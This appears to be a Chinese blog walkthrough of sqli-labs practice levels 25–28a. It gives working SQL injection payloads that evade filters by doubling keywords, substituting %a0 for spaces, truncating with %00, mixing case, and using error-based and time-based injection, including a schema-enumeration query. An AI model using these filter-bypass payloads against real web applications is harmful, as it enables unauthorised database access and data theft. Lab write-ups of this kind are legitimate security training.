sqli-labs靶场详解(less25/25a-less28/28a)

news2024/11/28 7:37:54

在SQL注入过程中难点就是判断注入点 只要注入点确定了  获取数据库数据的过程就是复制

从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了)


目录

less-25

less-25a

less-26

less-26a

less-27

less-27a

less-28

less-28a


less-25

首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来

判断注入点

?id=1 正常   

?id=1' 错误:to use near ''1''

?id=1\ 错误:to use near ''1\'

正常来说是缺少单引号

?id=1'# 

提示Your Input is Filtered with following result: 1'

?id=1'--+  成功

?id=1' and '1'='1 无返回结果

提示 Your Input is Filtered with following result: 1' '1'='1

原来如此  一开始就提示了 and和or 属于他们的 把and和 or过滤掉了 

现在报错会被输出出来 但是无法使用and构造语句了


但是注释符没被过滤 使用联合查询试一下

?id=0' union select 1,2,3 --+ 成功

?id=0' union select 1,database(),3 --+ 成功

?id=0' union select 1,extractvalue(1,concat('~',database())),3 --+ 使用联合查询的报错函数也成功了


先看看双写可不可以

?id=1' aandnd 1=1 --+  成功

?id=1' aandnd 1=2 --+  成功


试试and的符号&&可不可以

发现&&一致报错 提示也没获取到&&符号以及后面的内容

但是or|| 一真则真

?id=2' || 1=1 --+ 成功

?id=2' || 1=2 --+ 成功

那么尝试报错注入

?id=0' || extractvalue(1,concat('~',database())) --+ 成功


代码分析

就是过滤了and和or 无需逻辑分析


less-25a

和上关提示一样 也是过滤了or和and

判断注入点

?id=1' 报错不告诉具体原因了 不能使用报错函数了

试试符号形式的and和or

?id=1 || 1=1 成功

?id=1 || 1=2 成功

看来是整型注入点

和上关一样&&一直报错只能使用||


看看双写可不可以

?id=2 aandnd 1=1 成功

?id=2 aandnd 1=2 失败

双写也可以


使用联合查询

?id=0 UNION SELECT 1,2,3 成功

?id=0 UNION SELECT 1,2,database() 成功


使用 延时函数

?id=1 anandd if(1,sleep(2),2) 成功

代码分析

无逻辑分析 就是参数为整型 过滤and和or 无报错函数


less-26

说是空格和comments都被过滤

判断注入点

?id=1 and 1=1 

提示获取到了Your Input is Filtered with following result: 11=1

看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了

?id=1' 报错:to use near ''1'' 好消息这里能判断注这是字符型注入点

这么多东西都被过滤了 只能进行替换一个一个试了

看看双写

?id=1' anandd '1'='1  失败

但是提示显示获取到了and 证明双写可以  空格没有被获取到所以导致失败

找一个替换空格space的 

space在url中是%20 可以 使用%a0 || %0b绕过 

成功

因为是字符型注入

现在的操作是

?id=1'%a0anandd%a0'1'='1可以

但是注释符也被过滤了如果继续进行注入操作还是不行的

想办法把最后的单引号闭合

想到了两种方式

第一种方式就是再后面再加上一个and后者or 

?id=1'%a0anandd%a0 1=1%a0anandd'1'='1 成功

第二种方式就是

%00会截断整个url 

?id=1'%a0anandd%a0 1=1 ;%00 成功

解释一下正常我们输入的数据到url中都会进行编码 

space的空格方式会被编码成%20 

%20代表空格 %a0 也代表空格  在服务器只会过滤space方式的空格

%00属于空符截断。在某些编程语言和数据库实现中,它表示字符串的终止符

也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号

在这里还要提一句

这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错  在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样

报错注入实例

?id=-1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

?id=1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))||'1'='1

联合注入实例

?id=1'%a0union%a0select%a01,2,3;%00


代码分析

无需分析 就是加上了过滤条件 没有逻辑上的问题


less-26a

提示和上一关一样没什么区别

注入测试

?id=1'  报错 没给具体报错信息 不能使用报错函数

?id=1\  反斜杠被过滤

?id=1 and 1=1 and和空格照样被过滤

?id=1%a0anandd%a01=1;%00 输出id=1的值

?id=1%a0anandd%a01=2;%00 输出id=1的值

;%00不报错可以证明该语句后面没有特殊字符

那为什么1=1和1=2输出结果一样呢

看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=('1 and 1=2;

不应该呀 应该也报错呀 

?id=1')%a0anandd%a01=1;%00

?id=1')%a0anandd%a01=2;%00

这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀

注意

1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍 

2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓

代码分析

无逻辑分析内容 知识添加了过滤条件


less-27

正常界面 过滤了union和select

尝试

?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1

发现注释符和空格也被过滤 但是and没被过滤

?id=1'to use near ''1''   有报错信息 估计是单引号没被闭合

?id=1'%a0and%a0'1'='1';%00成功执行        

?id=1'%a0and%a0'1'='2';%00失败执行

确定为字符型注入点 

看看双写 union 和select可不可以 

发现union只过滤了一次 但是select过滤了两次

?id=0'%a0uunionnion%a0seseselectlectlect%a01,2,3;%00

试试大小写混合可不可以

?id=0'%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以

这样就可以使用联合查询注入和报错注入

代码分析

增加了sleect和union的过滤


less-27a

和上题的提示一样

进行尝试

?id=1 and 1=1# 依旧是去除了空格注释

?id=1'  不报错并查询出结果  估计也是字符型的但是没用单引号

?id=1\ 报错信息不全 不能使用报错注入

多次测试发现是双引号闭合的字符型注入

?id=1"%a0and%a01=1;%00  成功

?id=1"%a0and%a01=2;%00  失败

上两句确定了注入点

构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过

?id=0"%a0ununionion%a0sELECT%a01,2,3;%00 

试一试盲注(盲注是最慢的最不推荐)

?id=1"%a0and%a0if(1,sleep(2),2)%a0;%00 成功

代码分析

参数为双引号的字符型参数 不能使用报错函数


less-28

提示和27管一样过滤union和select

进行测试

?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1

发现没有过滤and 和前几关一样过滤了注释和空格

?id=1' 报错:没有详细的报错信息 不能使用报错注入 

?id=1';%00 报错 可能是整型 可能对参数使用的形式不止单引号

?id=1 and 1=1;%00成功

?id=1 and 1=2;%00成功

以上两个语句得出不是整型 那就是不止只有单引号

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 失败

得出服务器参数的形式为('$id')

?id=0')%a0union%a0select%a01,2,3;%00  说是过滤union和select但是经过测试并没有被过滤

从而判断出这题能使用联合查询注入和盲注 不能使用报错注入 

无需代码分析就是过滤条件比较多


less-28a

提示信息依旧是过滤union和select

注入测试

?id=1' 报错:无详细报错信息 不能使用报错注入

?id=1';%00  得出可能是整型可能字符型不止单引号

轻轻松松试出来

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 不成功

的到注入点 构造语句

轻松拿下

?id=0')%a0union%a0select%a01,2,3;%00

id=1')%a0and%a0if(1,sleep(2),1);%00

可以使用联合查询 盲注

代码分析

依旧不需要逻辑分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1266767.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue使用echarts中国地图

需求:Vue3 vite TS 项目内使用 Echarts 5 绘制中国地图。鼠标悬浮省份上面显示指定的数据,地图支持缩放和拖拽的功能,页面放大缩小支持自适应,window.addEventListener(‘resize’, resize); 添加防抖动函数debounce。 一、安装…

房屋租赁出售经纪人入驻小程序平台

一款专为房屋中介开发的小程序平台,支持独立部署,源码交付,数据安全无忧。 核心功能:房屋出租、经纪人独立后台、分佣后台、楼盘展示、房型展示、在线咨询、地址位置配套设施展示。 程序已被很多房屋交易中介体验使用过&#x…

操作系统校招知识点总结

文章目录 前言1. 操作系统概述1.1 操作系统的四大特征(并共虚异)1.2 操作系统的主要功能?1.3 动态链接库和静态链接库的区别?1.4 并发和共享之间的关系?1.5 中断和异常的概念? 2. 进程与线程2.1 进程和线程…

台灯怎么选对眼睛好?适合考研使用的护眼台灯推荐

现在晚上仍然需要工作、学习的人有很多,这样的一件事似乎已经成为“家常便饭”,尤其事对于一些学生党而言。每天都有写不完的作业、做不完的功课,这样高强度的用眼下来,容易导致眼睛疲劳、近视等等。很多人会选择在夜晚的时候使用…

基于Java SSM框架+Vue实现房屋租赁网站项目【项目源码+论文说明】

基于java的SSM框架Vue实现房屋租赁网站演示 摘要 随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,房屋租赁系统当然也不能排除在外。房屋租赁系统是以实际运用为开发背景&…

计算机网络 一到二章 PPT 复习

啥币老师要隔段时间测试,我只能说坐胡狗吧旁边 第一章 这nm真的会考,我是绷不住的 这nm有五种,我一直以为只有三种 广播帧在后面的学习中经常遇到 虽然老师在上课的过程中并没有太过强调TCP/IP的连接和断开,但我必须强调一下&…

数组元素积的符号

数组元素积的符号 描述 : 已知函数 signFunc(x) 将会根据 x 的正负返回特定值: 如果 x 是正数,返回 1 。如果 x 是负数,返回 -1 。如果 x 是等于 0 ,返回 0 。 给你一个整数数组 nums 。令 product 为数组 nums 中所有元素值的…

ER图-重新学习与应用实践

1.应用场景 主要用于利用ER图快速实现项目需求开发实现. 2.学习/操作 1.文档阅读 chatgpt & 其他资料 ER图-相关 ER 图是什么?这一篇让你搞懂 ER 图!_数据分析_产品海豚湾_InfoQ写作社区 2.整理输出 2.1 是什么 ER 图也称实体-联系图(Entity Relat…

界限与不动产测绘乙级申请条件

整理一期关于测绘资质界限与不动产测绘乙级资质的申请要求 测绘资质是由测绘资质主管部门自然资源部制定的 想要了解标准、正规的申请条件,可以到当地省份的政务网搜索测绘资质办理相关标准(例如下图) 1、通用标准 http://gi.mnr.gov.cn/20…

visual c++ 2019 redistributable package

直接安装下面包只有24M Microsoft Visual C Redistributable 2019 x86: https://aka.ms/vs/16/release/VC_redist.x86.exe x64: https://aka.ms/vs/16/release/VC_redist.x64.exe ———————————————— 版权声明:本文为CSDN博主「kpacnB_Z」的原创文章…

Unity安装

DAY1 下载Unity 打开Unity3D官网,下载Unity Hub,管理Unity的软件。链接https://unity.cn/releases (可能需要注册账号,就正常注册登录即可) 如果是新版的hub,可能长下面这个样子,还是英文的,点击圆圈的设…

【模电】晶闸管

晶闸管 结构和等效模型工作原理晶闸管的伏安特性晶闸管的主要参数额定正向平均电流 I F I\tiny F IF维持电流 I H I\tiny H IH触发电压 U G U\tiny G UG和触发电流 I G I\tiny G IG正向重复峰值电压 U D R M U\tiny DRM UDRM反向重复峰值电压 U R R M U\tiny RRM URRM 晶体闸流…

使用Python实现SVM来解决二分类问题

下面是一个使用Python实现SVM来解决二分类问题的例子: # 导入所需的库 from sklearn.datasets import make_blobs from sklearn.model_selection import train_test_split from sklearn.svm import SVC import matplotlib.pyplot as plt# 生成一个二分类数据集 X, …

Linux 启动过程

linux启动步骤&#xff1a; <1>加电 <2>加载bios设置 <3>加载grup <4>加载内核系统到内存中 <5>加载配置文件 <6>加载内核模块 <7>完成相应的初始化工作和启动相应的服务 <8>启动系统进程 <9>出现登录界面 &l…

第三方发起备份的ORA-00245问题

文章目录 前言一、信息确认共享目录位置控制文件快照位置节点1节点2 二、RAC修改snapshot controlfile 参数三、字典表确认以及测试 前言 在使用 AnyBackup 管理控制台发起 Oracle RAC 数据库备份后&#xff0c;在任务历史记录 > 执行输出中显示如下错误信息&#xff1a; c…

NX二次开发UF_MTX3_multiply_t 函数介绍

文章作者&#xff1a;里海 来源网站&#xff1a;https://blog.csdn.net/WangPaiFeiXingYuan UF_MTX3_multiply_t Defined in: uf_mtx.h void UF_MTX3_multiply_t(const double mtx1 [ 9 ] , const double mtx2 [ 9 ] , double mtx_product [ 9 ] ) overview 概述 Returns a…

14.spring源码解析-postProcessBeanFactory

此方法允许子类在所有的bean尚未初始化之前注册BeanPostProcessor。空实现且没有子类覆盖。

一种方便、优美的使用Python调用fofa API的方法

免责声明&#xff1a;由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c; 文章作者不为此承担任何责任。 学习网络安全的过程中&#xff0c;绕不开fofa搜索&#xff0c;我的需求是使用fofa获取互联网所…

docker的理解

docker最底层就是bootfs(boot file system)主要包含 bpotloader 和 kernel&#xff0c;bootloader主要是引导加载 kernel&#xff0c;Linux 刚启动时会加载 bootfs文件系统&#xff0c;在Docker镜像的最底层是bootfs。这一层与我们典型的Linux/Unix系统是一样的&#xff0c;包含…

儿童台灯怎么选对眼睛好?专业儿童护眼台灯分享

随着时代的改革和发展&#xff0c;现在的孩子学业压力要远比我们想象中的繁重很多&#xff0c;而且随着年龄的增长&#xff0c;用眼到需求也会越来越大。再加上过早的接触电子产品&#xff0c;导致现在的孩子近视率都非常高&#xff01; 因此作为家长一定要重视孩子的视力健康&…